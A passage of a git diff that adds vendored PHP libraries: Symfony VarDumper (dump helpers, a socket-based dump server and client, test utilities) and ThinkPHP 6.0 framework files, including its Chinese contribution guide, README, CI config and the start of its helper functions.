flex: 0; + text-align: right; + white-space: nowrap; + color: #999; + font-style: italic; +} +article > header ul.tags { + list-style: none; + padding: 0; + margin: 0; + font-size: 12px; +} +article > header ul.tags > li { + user-select: all; + margin-bottom: 2px; +} +article > header ul.tags > li > span.badge { + display: inline-block; + padding: .25em .4em; + margin-right: 5px; + border-radius: 4px; + background-color: #6c757d3b; + color: #524d4d; + font-size: 12px; + text-align: center; + font-weight: 700; + line-height: 1; + white-space: nowrap; + vertical-align: baseline; + user-select: none; +} +article > section.body { + border: 1px solid #d8d8d8; + background: #FFF; + padding: 10px; + border-radius: 3px; +} +pre.sf-dump { + border-radius: 3px; + margin-bottom: 0; +} +.hidden { + display: none !important; +} +.dumped-tag > .sf-dump { + display: inline-block; + margin: 0; + padding: 1px 5px; + line-height: 1.4; + vertical-align: top; + background-color: transparent; + user-select: auto; +} +.dumped-tag > pre.sf-dump, +.dumped-tag > .sf-dump-default { + color: #CC7832; + background: none; +} +.dumped-tag > .sf-dump .sf-dump-str { color: #629755; } +.dumped-tag > .sf-dump .sf-dump-private, +.dumped-tag > .sf-dump .sf-dump-protected, +.dumped-tag > .sf-dump .sf-dump-public { color: #262626; } +.dumped-tag > .sf-dump .sf-dump-note { color: #6897BB; } +.dumped-tag > .sf-dump .sf-dump-key { color: #789339; } +.dumped-tag > .sf-dump .sf-dump-ref { color: #6E6E6E; } +.dumped-tag > .sf-dump .sf-dump-ellipsis { color: #CC7832; max-width: 100em; } +.dumped-tag > .sf-dump .sf-dump-ellipsis-path { max-width: 5em; } +.dumped-tag > .sf-dump .sf-dump-ns { user-select: none; } diff --git a/vendor/symfony/var-dumper/Resources/functions/dump.php b/vendor/symfony/var-dumper/Resources/functions/dump.php new file mode 100644 index 0000000..a485d57 --- /dev/null +++ b/vendor/symfony/var-dumper/Resources/functions/dump.php @@ -0,0 +1,43 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +use Symfony\Component\VarDumper\VarDumper; + +if (!function_exists('dump')) { + /** + * @author Nicolas Grekas + */ + function dump($var, ...$moreVars) + { + VarDumper::dump($var); + + foreach ($moreVars as $v) { + VarDumper::dump($v); + } + + if (1 < func_num_args()) { + return func_get_args(); + } + + return $var; + } +} + +if (!function_exists('dd')) { + function dd(...$vars) + { + foreach ($vars as $v) { + VarDumper::dump($v); + } + + exit(1); + } +} diff --git a/vendor/symfony/var-dumper/Resources/js/htmlDescriptor.js b/vendor/symfony/var-dumper/Resources/js/htmlDescriptor.js new file mode 100644 index 0000000..63101e5 --- /dev/null +++ b/vendor/symfony/var-dumper/Resources/js/htmlDescriptor.js @@ -0,0 +1,10 @@ +document.addEventListener('DOMContentLoaded', function() { + let prev = null; + Array.from(document.getElementsByTagName('article')).reverse().forEach(function (article) { + const dedupId = article.dataset.dedupId; + if (dedupId === prev) { + article.getElementsByTagName('header')[0].classList.add('hidden'); + } + prev = dedupId; + }); +}); diff --git a/vendor/symfony/var-dumper/Server/Connection.php b/vendor/symfony/var-dumper/Server/Connection.php new file mode 100644 index 0000000..d8be235 --- /dev/null +++ b/vendor/symfony/var-dumper/Server/Connection.php @@ -0,0 +1,95 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Server; + +use Symfony\Component\VarDumper\Cloner\Data; +use Symfony\Component\VarDumper\Dumper\ContextProvider\ContextProviderInterface; + +/** + * Forwards serialized Data clones to a server. + * + * @author Maxime Steinhausser + */ +class Connection +{ + private $host; + private $contextProviders; + private $socket; + + /** + * @param string $host The server host + * @param ContextProviderInterface[] $contextProviders Context providers indexed by context name + */ + public function __construct(string $host, array $contextProviders = []) + { + if (false === strpos($host, '://')) { + $host = 'tcp://'.$host; + } + + $this->host = $host; + $this->contextProviders = $contextProviders; + } + + public function getContextProviders(): array + { + return $this->contextProviders; + } + + public function write(Data $data): bool + { + $socketIsFresh = !$this->socket; + if (!$this->socket = $this->socket ?: $this->createSocket()) { + return false; + } + + $context = ['timestamp' => microtime(true)]; + foreach ($this->contextProviders as $name => $provider) { + $context[$name] = $provider->getContext(); + } + $context = array_filter($context); + $encodedPayload = base64_encode(serialize([$data, $context]))."\n"; + + set_error_handler([self::class, 'nullErrorHandler']); + try { + if (-1 !== stream_socket_sendto($this->socket, $encodedPayload)) { + return true; + } + if (!$socketIsFresh) { + stream_socket_shutdown($this->socket, \STREAM_SHUT_RDWR); + fclose($this->socket); + $this->socket = $this->createSocket(); + } + if (-1 !== stream_socket_sendto($this->socket, $encodedPayload)) { + return true; + } + } finally { + restore_error_handler(); + } + + return false; + } + + private static function nullErrorHandler($t, $m) + { + // no-op + } + + private function createSocket() + { + set_error_handler([self::class, 'nullErrorHandler']); + try { + return stream_socket_client($this->host, $errno, $errstr, 3, \STREAM_CLIENT_CONNECT | \STREAM_CLIENT_ASYNC_CONNECT); + } finally { + restore_error_handler(); + } + } +} diff --git a/vendor/symfony/var-dumper/Server/DumpServer.php b/vendor/symfony/var-dumper/Server/DumpServer.php new file mode 100644 index 0000000..23b35b2 --- /dev/null +++ b/vendor/symfony/var-dumper/Server/DumpServer.php @@ -0,0 +1,107 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Server; + +use Psr\Log\LoggerInterface; +use Symfony\Component\VarDumper\Cloner\Data; +use Symfony\Component\VarDumper\Cloner\Stub; + +/** + * A server collecting Data clones sent by a ServerDumper. + * + * @author Maxime Steinhausser + * + * @final + */ +class DumpServer +{ + private $host; + private $socket; + private $logger; + + public function __construct(string $host, LoggerInterface $logger = null) + { + if (false === strpos($host, '://')) { + $host = 'tcp://'.$host; + } + + $this->host = $host; + $this->logger = $logger; + } + + public function start(): void + { + if (!$this->socket = stream_socket_server($this->host, $errno, $errstr)) { + throw new \RuntimeException(sprintf('Server start failed on "%s": ', $this->host).$errstr.' '.$errno); + } + } + + public function listen(callable $callback): void + { + if (null === $this->socket) { + $this->start(); + } + + foreach ($this->getMessages() as $clientId => $message) { + $payload = @unserialize(base64_decode($message), ['allowed_classes' => [Data::class, Stub::class]]); + + // Impossible to decode the message, give up. + if (false === $payload) { + if ($this->logger) { + $this->logger->warning('Unable to decode a message from {clientId} client.', ['clientId' => $clientId]); + } + + continue; + } + + if (!\is_array($payload) || \count($payload) < 2 || !$payload[0] instanceof Data || !\is_array($payload[1])) { + if ($this->logger) { + $this->logger->warning('Invalid payload from {clientId} client. Expected an array of two elements (Data $data, array $context)', ['clientId' => $clientId]); + } + + continue; + } + + list($data, $context) = $payload; + + $callback($data, $context, $clientId); + } + } + + public function getHost(): string + { + return $this->host; + } + + private function getMessages(): iterable + { + $sockets = [(int) $this->socket => $this->socket]; + $write = []; + + while (true) { + $read = $sockets; + stream_select($read, $write, $write, null); + + foreach ($read as $stream) { + if ($this->socket === $stream) { + $stream = stream_socket_accept($this->socket); + $sockets[(int) $stream] = $stream; + } elseif (feof($stream)) { + unset($sockets[(int) $stream]); + fclose($stream); + } else { + yield (int) $stream => fgets($stream); + } + } + } + } +} diff --git a/vendor/symfony/var-dumper/Test/VarDumperTestTrait.php b/vendor/symfony/var-dumper/Test/VarDumperTestTrait.php new file mode 100644 index 0000000..3d3d18e --- /dev/null +++ b/vendor/symfony/var-dumper/Test/VarDumperTestTrait.php @@ -0,0 +1,87 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Test; + +use Symfony\Component\VarDumper\Cloner\VarCloner; +use Symfony\Component\VarDumper\Dumper\CliDumper; + +/** + * @author Nicolas Grekas + */ +trait VarDumperTestTrait +{ + /** + * @internal + */ + private $varDumperConfig = [ + 'casters' => [], + 'flags' => null, + ]; + + protected function setUpVarDumper(array $casters, int $flags = null): void + { + $this->varDumperConfig['casters'] = $casters; + $this->varDumperConfig['flags'] = $flags; + } + + /** + * @after + */ + protected function tearDownVarDumper(): void + { + $this->varDumperConfig['casters'] = []; + $this->varDumperConfig['flags'] = null; + } + + public function assertDumpEquals($expected, $data, $filter = 0, $message = '') + { + $this->assertSame($this->prepareExpectation($expected, $filter), $this->getDump($data, null, $filter), $message); + } + + public function assertDumpMatchesFormat($expected, $data, $filter = 0, $message = '') + { + $this->assertStringMatchesFormat($this->prepareExpectation($expected, $filter), $this->getDump($data, null, $filter), $message); + } + + /** + * @return string|null + */ + protected function getDump($data, $key = null, $filter = 0) + { + if (null === $flags = $this->varDumperConfig['flags']) { + $flags = getenv('DUMP_LIGHT_ARRAY') ? CliDumper::DUMP_LIGHT_ARRAY : 0; + $flags |= getenv('DUMP_STRING_LENGTH') ? CliDumper::DUMP_STRING_LENGTH : 0; + $flags |= getenv('DUMP_COMMA_SEPARATOR') ? CliDumper::DUMP_COMMA_SEPARATOR : 0; + } + + $cloner = new VarCloner(); + $cloner->addCasters($this->varDumperConfig['casters']); + $cloner->setMaxItems(-1); + $dumper = new CliDumper(null, null, $flags); + $dumper->setColors(false); + $data = $cloner->cloneVar($data, $filter)->withRefHandles(false); + if (null !== $key && null === $data = $data->seek($key)) { + return null; + } + + return rtrim($dumper->dump($data, true)); + } + + private function prepareExpectation($expected, int $filter): string + { + if (!\is_string($expected)) { + $expected = $this->getDump($expected, null, $filter); + } + + return rtrim($expected); + } +} diff --git a/vendor/symfony/var-dumper/VarDumper.php b/vendor/symfony/var-dumper/VarDumper.php new file mode 100644 index 0000000..febc1e0 --- /dev/null +++ b/vendor/symfony/var-dumper/VarDumper.php @@ -0,0 +1,66 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper; + +use Symfony\Component\VarDumper\Caster\ReflectionCaster; +use Symfony\Component\VarDumper\Cloner\VarCloner; +use Symfony\Component\VarDumper\Dumper\CliDumper; +use Symfony\Component\VarDumper\Dumper\ContextProvider\SourceContextProvider; +use Symfony\Component\VarDumper\Dumper\ContextualizedDumper; +use Symfony\Component\VarDumper\Dumper\HtmlDumper; + +// Load the global dump() function +require_once __DIR__.'/Resources/functions/dump.php'; + +/** + * @author Nicolas Grekas + */ +class VarDumper +{ + private static $handler; + + public static function dump($var) + { + if (null === self::$handler) { + $cloner = new VarCloner(); + $cloner->addCasters(ReflectionCaster::UNSET_CLOSURE_FILE_INFO); + + if (isset($_SERVER['VAR_DUMPER_FORMAT'])) { + $dumper = 'html' === $_SERVER['VAR_DUMPER_FORMAT'] ? new HtmlDumper() : new CliDumper(); + } else { + $dumper = \in_array(\PHP_SAPI, ['cli', 'phpdbg']) ? new CliDumper() : new HtmlDumper(); + } + + $dumper = new ContextualizedDumper($dumper, [new SourceContextProvider()]); + + self::$handler = function ($var) use ($cloner, $dumper) { + $dumper->dump($cloner->cloneVar($var)); + }; + } + + return (self::$handler)($var); + } + + public static function setHandler(callable $callable = null) + { + $prevHandler = self::$handler; + + // Prevent replacing the handler with expected format as soon as the env var was set: + if (isset($_SERVER['VAR_DUMPER_FORMAT'])) { + return $prevHandler; + } + + self::$handler = $callable; + + return $prevHandler; + } +} diff --git a/vendor/symfony/var-dumper/composer.json b/vendor/symfony/var-dumper/composer.json new file mode 100644 index 0000000..0a13e5e --- /dev/null +++ b/vendor/symfony/var-dumper/composer.json @@ -0,0 +1,50 @@ +{ + "name": "symfony/var-dumper", + "type": "library", + "description": "Symfony mechanism for exploring and dumping PHP variables", + "keywords": ["dump", "debug"], + "homepage": "https://symfony.com", + "license": "MIT", + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "require": { + "php": ">=7.1.3", + "symfony/polyfill-mbstring": "~1.0", + "symfony/polyfill-php72": "~1.5", + "symfony/polyfill-php80": "^1.15" + }, + "require-dev": { + "ext-iconv": "*", + "symfony/console": "^3.4|^4.0|^5.0", + "symfony/process": "^4.4|^5.0", + "twig/twig": "^1.34|^2.4|^3.0" + }, + "conflict": { + "phpunit/phpunit": "<4.8.35|<5.4.3,>=5.0", + "symfony/console": "<3.4" + }, + "suggest": { + "ext-iconv": "To convert non-UTF-8 strings to UTF-8 (or symfony/polyfill-iconv in case ext-iconv cannot be used).", + "ext-intl": "To show region name in time zone dump", + "symfony/console": "To use the ServerDumpCommand and/or the bin/var-dump-server script" + }, + "autoload": { + "files": [ "Resources/functions/dump.php" ], + "psr-4": { "Symfony\\Component\\VarDumper\\": "" }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "bin": [ + "Resources/bin/var-dump-server" + ], + "minimum-stability": "dev" +} diff --git a/vendor/topthink/framework/.gitignore b/vendor/topthink/framework/.gitignore new file mode 100644 index 0000000..b267fba --- /dev/null +++ b/vendor/topthink/framework/.gitignore @@ -0,0 +1,7 @@ +/vendor +composer.phar +composer.lock +.DS_Store +Thumbs.db +/.idea +/.vscode \ No newline at end of file diff --git a/vendor/topthink/framework/.travis.yml b/vendor/topthink/framework/.travis.yml new file mode 100644 index 0000000..73e6681 --- /dev/null +++ b/vendor/topthink/framework/.travis.yml @@ -0,0 +1,34 @@ +dist: xenial +language: php + +matrix: + fast_finish: true + include: + - php: 7.1 + - php: 7.2 + - php: 7.3 + +cache: + directories: + - $HOME/.composer/cache + +services: + - memcached + - redis-server + - mysql + +before_install: + - echo "extension = memcached.so" >> ~/.phpenv/versions/$(phpenv version-name)/etc/php.ini + - printf "\n" | pecl install -f redis + - travis_retry composer self-update + - mysql -e 'CREATE DATABASE test;' + +install: + - travis_retry composer update --prefer-dist --no-interaction --prefer-stable --no-suggest + +script: + - vendor/bin/phpunit --coverage-clover build/logs/coverage.xml + +after_script: + - travis_retry wget https://scrutinizer-ci.com/ocular.phar + - php ocular.phar code-coverage:upload --format=php-clover build/logs/coverage.xml \ No newline at end of file diff --git a/vendor/topthink/framework/CONTRIBUTING.md b/vendor/topthink/framework/CONTRIBUTING.md new file mode 100644 index 0000000..efa3ad9 --- /dev/null +++ b/vendor/topthink/framework/CONTRIBUTING.md @@ -0,0 +1,119 @@ +如何贡献我的源代码 +=== + +此文档介绍了 ThinkPHP 团队的组成以及运转机制,您提交的代码将给 ThinkPHP 项目带来什么好处,以及如何才能加入我们的行列。 + +## 通过 Github 贡献代码 + +ThinkPHP 目前使用 Git 来控制程序版本,如果你想为 ThinkPHP 贡献源代码,请先大致了解 Git 的使用方法。我们目前把项目托管在 GitHub 上,任何 GitHub 用户都可以向我们贡献代码。 + +参与的方式很简单,`fork`一份 ThinkPHP 的代码到你的仓库中,修改后提交,并向我们发起`pull request`申请,我们会及时对代码进行审查并处理你的申请并。审查通过后,你的代码将被`merge`进我们的仓库中,这样你就会自动出现在贡献者名单里了,非常方便。 + +我们希望你贡献的代码符合: + +* ThinkPHP 的编码规范 +* 适当的注释,能让其他人读懂 +* 遵循 Apache2 开源协议 + +**如果想要了解更多细节或有任何疑问,请继续阅读下面的内容** + +### 注意事项 + +* 本项目代码格式化标准选用 [**PSR-2**](http://www.kancloud.cn/thinkphp/php-fig-psr/3141); +* 类名和类文件名遵循 [**PSR-4**](http://www.kancloud.cn/thinkphp/php-fig-psr/3144); +* 对于 Issues 的处理,请使用诸如 `fix #xxx(Issue ID)` 的 commit title 直接关闭 issue。 +* 系统会自动在 PHP 7.1 ~ 7.3 上测试修改,请确保你的修改符合 PHP 7.1 ~ 7.3 的语法规范; +* 管理员不会合并造成 CI faild 的修改,若出现 CI faild 请检查自己的源代码或修改相应的[单元测试文件](tests); + +## GitHub Issue + +GitHub 提供了 Issue 功能,该功能可以用于: + +* 提出 bug +* 提出功能改进 +* 反馈使用体验 + +该功能不应该用于: + + * 提出修改意见(涉及代码署名和修订追溯问题) + * 不友善的言论 + +## 快速修改 + +**GitHub 提供了快速编辑文件的功能** + +1. 登录 GitHub 帐号; +2. 浏览项目文件,找到要进行修改的文件; +3. 点击右上角铅笔图标进行修改; +4. 填写 `Commit changes` 相关内容(Title 必填); +5. 提交修改,等待 CI 验证和管理员合并。 + +**若您需要一次提交大量修改,请继续阅读下面的内容** + +## 完整流程 + +1. `fork`本项目; +2. 克隆(`clone`)你 `fork` 的项目到本地; +3. 新建分支(`branch`)并检出(`checkout`)新分支; +4. 添加本项目到你的本地 git 仓库作为上游(`upstream`); +5. 进行修改,若你的修改包含方法或函数的增减,请记得修改[单元测试文件](tests); +6. 变基(衍合 `rebase`)你的分支到上游 master 分支; +7. `push` 你的本地仓库到 GitHub; +8. 提交 `pull request`; +9. 等待 CI 验证(若不通过则重复 5~7,GitHub 会自动更新你的 `pull request`); +10. 等待管理员处理,并及时 `rebase` 你的分支到上游 master 分支(若上游 master 分支有修改)。 + +*若有必要,可以 `git push -f` 强行推送 rebase 后的分支到自己的 `fork`* + +*绝对不可以使用 `git push -f` 强行推送修改到上游* + +### 注意事项 + +* 若对上述流程有任何不清楚的地方,请查阅 GIT 教程,如 [这个](http://backlogtool.com/git-guide/cn/); +* 对于代码**不同方面**的修改,请在自己 `fork` 的项目中**创建不同的分支**(原因参见`完整流程`第9条备注部分); +* 变基及交互式变基操作参见 [Git 交互式变基](http://pakchoi.me/2015/03/17/git-interactive-rebase/) + +## 推荐资源 + +### 开发环境 + +* XAMPP for Windows 5.5.x +* WampServer (for Windows) +* upupw Apache PHP5.4 ( for Windows) + +或自行安装 + +- Apache / Nginx +- PHP 7.1 ~ 7.3 +- MySQL / MariaDB + +*Windows 用户推荐添加 PHP bin 目录到 PATH,方便使用 composer* + +*Linux 用户自行配置环境, Mac 用户推荐使用内置 Apache 配合 Homebrew 安装 PHP 和 MariaDB* + +### 编辑器 + +Sublime Text 3 + phpfmt 插件 + +phpfmt 插件参数 + +```json +{ + "autocomplete": true, + "enable_auto_align": true, + "format_on_save": true, + "indent_with_space": true, + "psr1_naming": false, + "psr2": true, + "version": 4 +} +``` + +或其他 编辑器 / IDE 配合 PSR2 自动格式化工具 + +### Git GUI + +* SourceTree +* GitHub Desktop + +或其他 Git 图形界面客户端 diff --git a/vendor/topthink/framework/LICENSE.txt b/vendor/topthink/framework/LICENSE.txt new file mode 100644 index 0000000..4e910bb --- /dev/null +++ b/vendor/topthink/framework/LICENSE.txt @@ -0,0 +1,32 @@ + +ThinkPHP遵循Apache2开源协议发布,并提供免费使用。 +版权所有Copyright © 2006-2019 by ThinkPHP (http://thinkphp.cn) +All rights reserved。 +ThinkPHP® 商标和著作权所有者为上海顶想信息科技有限公司。 + +Apache Licence是著名的非盈利开源组织Apache采用的协议。 +该协议和BSD类似,鼓励代码共享和尊重原作者的著作权, +允许代码修改,再作为开源或商业软件发布。需要满足 +的条件: +1. 需要给代码的用户一份Apache Licence ; +2. 如果你修改了代码,需要在被修改的文件中说明; +3. 在延伸的代码中(修改和有源代码衍生的代码中)需要 +带有原来代码中的协议,商标,专利声明和其他原来作者规 +定需要包含的说明; +4. 如果再发布的产品中包含一个Notice文件,则在Notice文 +件中需要带有本协议内容。你可以在Notice中增加自己的 +许可,但不可以表现为对Apache Licence构成更改。 +具体的协议参考:http://www.apache.org/licenses/LICENSE-2.0 + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS +FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE +COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, +INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, +BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. diff --git a/vendor/topthink/framework/README.md b/vendor/topthink/framework/README.md new file mode 100644 index 0000000..6bb78e9 --- /dev/null +++ b/vendor/topthink/framework/README.md @@ -0,0 +1,86 @@ +![](https://box.kancloud.cn/5a0aaa69a5ff42657b5c4715f3d49221) + +ThinkPHP 6.0 +=============== + +[![Build Status](https://travis-ci.org/top-think/framework.svg?branch=6.0)](https://travis-ci.org/top-think/framework) +[![Scrutinizer Code Quality](https://scrutinizer-ci.com/g/top-think/framework/badges/quality-score.png?b=6.0)](https://scrutinizer-ci.com/g/top-think/framework/?branch=6.0) +[![Code Coverage](https://scrutinizer-ci.com/g/top-think/framework/badges/coverage.png?b=6.0)](https://scrutinizer-ci.com/g/top-think/framework/?branch=6.0) +[![Total Downloads](https://poser.pugx.org/topthink/framework/downloads)](https://packagist.org/packages/topthink/framework) +[![Latest Stable Version](https://poser.pugx.org/topthink/framework/v/stable)](https://packagist.org/packages/topthink/framework) +[![PHP Version](https://img.shields.io/badge/php-%3E%3D7.1-8892BF.svg)](http://www.php.net/) +[![License](https://poser.pugx.org/topthink/framework/license)](https://packagist.org/packages/topthink/framework) + +ThinkPHP6.0底层架构采用PHP7.1改写和进一步优化。 + +[官方应用服务市场](https://market.topthink.com) | [`ThinkPHP`开发者扶持计划](https://sites.thinkphp.cn/1782366) + +## 主要新特性 + +* 采用`PHP7`强类型(严格模式) +* 支持更多的`PSR`规范 +* 原生多应用支持 +* 系统服务注入支持 +* ORM作为独立组件使用 +* 增加Filesystem +* 全新的事件系统 +* 模板引擎分离出核心 +* 内部功能中间件化 +* SESSION机制改进 +* 日志多通道支持 +* 规范扩展接口 +* 更强大的控制台 +* 对Swoole以及协程支持改进 +* 对IDE更加友好 +* 统一和精简大量用法 + + +> ThinkPHP6.0的运行环境要求PHP7.1+。 + +## 安装 + +~~~ +composer create-project topthink/think tp +~~~ + +启动服务 + +~~~ +cd tp +php think run +~~~ + +然后就可以在浏览器中访问 + +~~~ +http://localhost:8000 +~~~ + +如果需要更新框架使用 +~~~ +composer update topthink/framework +~~~ + +## 文档 + +[完全开发手册](https://www.kancloud.cn/manual/thinkphp6_0/content) + +## 命名规范 + +`ThinkPHP6`遵循PSR-2命名规范和PSR-4自动加载规范。 + +## 参与开发 + +直接提交PR或者Issue即可 + +## 版权信息 + +ThinkPHP遵循Apache2开源协议发布,并提供免费使用。 + +本项目包含的第三方源码和二进制文件之版权信息另行标注。 + +版权所有Copyright © 2006-2020 by ThinkPHP (http://thinkphp.cn) All rights reserved。 + +ThinkPHP® 商标和著作权所有者为上海顶想信息科技有限公司。 + +更多细节参阅 [LICENSE.txt](LICENSE.txt) diff --git a/vendor/topthink/framework/composer.json b/vendor/topthink/framework/composer.json new file mode 100644 index 0000000..9afc513 --- /dev/null +++ b/vendor/topthink/framework/composer.json @@ -0,0 +1,54 @@ +{ + "name": "topthink/framework", + "description": "The ThinkPHP Framework.", + "keywords": [ + "framework", + "thinkphp", + "ORM" + ], + "homepage": "http://thinkphp.cn/", + "license": "Apache-2.0", + "authors": [ + { + "name": "liu21st", + "email": "liu21st@gmail.com" + }, + { + "name": "yunwuxin", + "email": "448901948@qq.com" + } + ], + "require": { + "php": ">=7.1.0", + "ext-json": "*", + "ext-mbstring": "*", + "league/flysystem": "^1.0", + "league/flysystem-cached-adapter": "^1.0", + "psr/log": "~1.0", + "psr/container": "~1.0", + "psr/simple-cache": "^1.0", + "topthink/think-orm": "^2.0", + "topthink/think-helper": "^3.1.1" + }, + "require-dev": { + "mikey179/vfsstream": "^1.6", + "mockery/mockery": "^1.2", + "phpunit/phpunit": "^7.0" + }, + "autoload": { + "files": [], + "psr-4": { + "think\\": "src/think/" + } + }, + "autoload-dev": { + "psr-4": { + "think\\tests\\": "tests/" + } + }, + "minimum-stability": "dev", + "prefer-stable": true, + "config": { + "sort-packages": true + } +} diff --git a/vendor/topthink/framework/logo.png b/vendor/topthink/framework/logo.png new file mode 100644 index 0000000..25fd059 Binary files /dev/null and b/vendor/topthink/framework/logo.png differ diff --git a/vendor/topthink/framework/phpunit.xml.dist b/vendor/topthink/framework/phpunit.xml.dist new file mode 100644 index 0000000..e20a133 --- /dev/null +++ b/vendor/topthink/framework/phpunit.xml.dist @@ -0,0 +1,25 @@ + + + + + ./tests + + + + + ./src/think + + + diff --git a/vendor/topthink/framework/src/helper.php b/vendor/topthink/framework/src/helper.php new file mode 100644 index 0000000..8b28998 --- /dev/null +++ b/vendor/topthink/framework/src/helper.php @@ -0,0 +1,663 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +//------------------------ +// ThinkPHP 助手函数 +//------------------------- + +use think\App; +use think\Container; +use think\exception\HttpException; +use think\exception\HttpResponseException; +use think\facade\Cache; +use think\facade\Config; +use think\facade\Cookie; +use think\facade\Env; +use think\facade\Event; +use think\facade\Lang; +use think\facade\Log; +use think\facade\Request; +use think\facade\Route; +use think\facade\Session; +use think\Response; +use think\response\File; +use think\response\Json; +use think\response\Jsonp; +use think\response\Redirect; +use think\response\View; +use think\response\Xml; +use think\route\Url as UrlBuild; +use think\Validate; + +if (!function_exists('abort')) { + /** + * 抛出HTTP异常 + * @param integer|Response $code 状态码 或者 Response对象实例 + * @param string $message 错误信息 + * @param array $header 参数 + */ + function abort($code, string $message = '', array $header = []) + { + if ($code instanceof Response) { + throw new HttpResponseException($code); + } else { + throw new HttpException($code, $message, null, $header); + } + } +} + +if (!function_exists('app')) { + /** + * 快速获取容器中的实例 支持依赖注入 + * @param string $name 类名或标识 默认获取当前应用实例 + * @param array $args 参数 + * @param bool $newInstance 是否每次创建新的实例 + * @return object|App + */ + function app(string $name = '', array $args = [], bool $newInstance = false) + { + return Container::getInstance()->make($name ?: App::class, $args, $newInstance); + } +} + +if (!function_exists('bind')) { + /** + * 绑定一个类到容器 + * @param string|array $abstract 类标识、接口(支持批量绑定) + * @param mixed $concrete 要绑定的类、闭包或者实例 + * @return Container + */ + function bind($abstract, $concrete = null) + { + return Container::getInstance()->bind($abstract, $concrete); + } +} + +if (!function_exists('cache')) { + /** + * 缓存管理 + * @param string $name 缓存名称 + * @param mixed $value 缓存值 + * @param mixed $options 缓存参数 + * @param string $tag 缓存标签 + * @return mixed + */ + function cache(string $name = null, $value = '', $options = null, $tag = null) + { + if (is_null($name)) { + return app('cache'); + } + + if ('' === $value) { + // 获取缓存 + return 0 === strpos($name, '?') ? Cache::has(substr($name, 1)) : Cache::get($name); + } elseif (is_null($value)) { + // 删除缓存 + return Cache::delete($name); + } + + // 缓存数据 + if (is_array($options)) { + $expire = $options['expire'] ?? null; //修复查询缓存无法设置过期时间 + } else { + $expire = $options; + } + + if (is_null($tag)) { + return Cache::set($name, $value, $expire); + } else { + return Cache::tag($tag)->set($name, $value, $expire); + } + } +} + +if (!function_exists('config')) { + /** + * 获取和设置配置参数 + * @param string|array $name 参数名 + * @param mixed $value 参数值 + * @return mixed + */ + function config($name = '', $value = null) + { + if (is_array($name)) { + return Config::set($name, $value); + } + + return 0 === strpos($name, '?') ? Config::has(substr($name, 1)) : Config::get($name, $value); + } +} + +if (!function_exists('cookie')) { + /** + * Cookie管理 + * @param string $name cookie名称 + * @param mixed $value cookie值 + * @param mixed $option 参数 + * @return mixed + */ + function cookie(string $name, $value = '', $option = null) + { + if (is_null($value)) { + // 删除 + Cookie::delete($name); + } elseif ('' === $value) { + // 获取 + return 0 === strpos($name, '?') ? Cookie::has(substr($name, 1)) : Cookie::get($name); + } else { + // 设置 + return Cookie::set($name, $value, $option); + } + } +} + +if (!function_exists('download')) { + /** + * 获取\think\response\Download对象实例 + * @param string $filename 要下载的文件 + * @param string $name 显示文件名 + * @param bool $content 是否为内容 + * @param int $expire 有效期(秒) + * @return \think\response\File + */ + function download(string $filename, string $name = '', bool $content = false, int $expire = 180): File + { + return Response::create($filename, 'file')->name($name)->isContent($content)->expire($expire); + } +} + +if (!function_exists('dump')) { + /** + * 浏览器友好的变量输出 + * @param mixed $vars 要输出的变量 + * @return void + */ + function dump(...$vars) + { + ob_start(); + var_dump(...$vars); + + $output = ob_get_clean(); + $output = preg_replace('/\]\=\>\n(\s+)/m', '] => ', $output); + + if (PHP_SAPI == 'cli') { + $output = PHP_EOL . $output . PHP_EOL; + } else { + if (!extension_loaded('xdebug')) { + $output = htmlspecialchars($output, ENT_SUBSTITUTE); + } + $output = '
    ' . $output . '
    '; + } + + echo $output; + } +} + +if (!function_exists('env')) { + /** + * 获取环境变量值 + * @access public + * @param string $name 环境变量名(支持二级 .号分割) + * @param string $default 默认值 + * @return mixed + */ + function env(string $name = null, $default = null) + { + return Env::get($name, $default); + } +} + +if (!function_exists('event')) { + /** + * 触发事件 + * @param mixed $event 事件名(或者类名) + * @param mixed $args 参数 + * @return mixed + */ + function event($event, $args = null) + { + return Event::trigger($event, $args); + } +} + +if (!function_exists('halt')) { + /** + * 调试变量并且中断输出 + * @param mixed $vars 调试变量或者信息 + */ + function halt(...$vars) + { + dump(...$vars); + + throw new HttpResponseException(Response::create()); + } +} + +if (!function_exists('input')) { + /** + * 获取输入数据 支持默认值和过滤 + * @param string $key 获取的变量名 + * @param mixed $default 默认值 + * @param string $filter 过滤方法 + * @return mixed + */ + function input(string $key = '', $default = null, $filter = '') + { + if (0 === strpos($key, '?')) { + $key = substr($key, 1); + $has = true; + } + + if ($pos = strpos($key, '.')) { + // 指定参数来源 + $method = substr($key, 0, $pos); + if (in_array($method, ['get', 'post', 'put', 'patch', 'delete', 'route', 'param', 'request', 'session', 'cookie', 'server', 'env', 'path', 'file'])) { + $key = substr($key, $pos + 1); + if ('server' == $method && 